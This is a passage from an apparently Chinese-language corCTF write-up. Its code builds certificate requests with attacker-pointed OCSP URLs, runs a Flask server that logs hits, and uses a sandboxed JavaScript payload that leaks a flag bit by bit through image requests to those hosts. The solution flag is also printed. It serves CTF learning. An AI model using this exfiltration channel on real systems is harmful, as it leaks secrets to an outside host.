x509.UniformResourceIdentifier(ca_url),
),
]
),
critical=False,
)
request = builder.sign(private_key, hashes.SHA256())
csr = request.public_bytes(serialization.Encoding.PEM)
priv = private_key.private_bytes(
serialization.Encoding.PEM,
serialization.PrivateFormat.PKCS8,
serialization.NoEncryption(),
)
return csr, priv

import httpx

ar = []
for i in range(8):
csr, priv = gen("http://REDACTED/bit/" + str(i), "http://REDACTED/ca")
client = httpx.Client(base_url='https://daplie.me', verify=False)
client.post('/create')
r = client.post('/add', data={
'csr': csr.decode(),
'priv': priv.decode(),
})
u = r.text.split('<span class="code">')[1].split('</span>')[0]
print(i)
print(u)
print()
ar.append(u)
print(ar)

然後 server 部分就一個簡單的 flask 來蒐集 bit 的資訊:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from flask import Flask
import logging

app = Flask(__name__)
app.logger.setLevel(logging.INFO)

bits = [0] * 8


@app.route("/bit/<n>", methods=["POST"])
def bit(n):
bits[int(n)] = 1
app.logger.info(bits)
app.logger.info(chr(int("".join(map(str, bits[::-1])), 2)))
return ""


app.run(host="0.0.0.0", port=80)

然後送給 bot 在 castle 中的 sandbox 中跑的 js 就很簡單,判斷 bits 然後決定要不要發送 OCSP request 而已。然後就人工修改 index 然後慢慢把 flag 的字元一個一個 leak 回來而已。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const urls = [
'adskeijoftisltjsmafdka.daplie.me',
'loqygyu03-c63wtg5pa9ja.daplie.me',
'xuz4rnbfa2_w7hyztxk0wa.daplie.me',
'pdvlygbkm1_f6w1xwwbiig.daplie.me',
'hqv7fki-8yuq7vrsarfxpg.daplie.me',
'bhd-psznuerilr9guvirdw.daplie.me',
'g36jgxy49ydyk1pm86djdq.daplie.me',
'ztnoo5ddk18mzxdjl5cvsg.daplie.me'
]
;(async () => {
const c = flag.charCodeAt(0) // change this to leak other flag char
for (let i = 7; i >= 0; i--) {
if ((c >> i) & 1) {
new Image().src = 'https://' + urls[i]
}
}
})()

// corctf{i_hate_x509_11fb05ad469e4721}

這應該姑且算是 xsleaks,只是是非常 impractical 的那種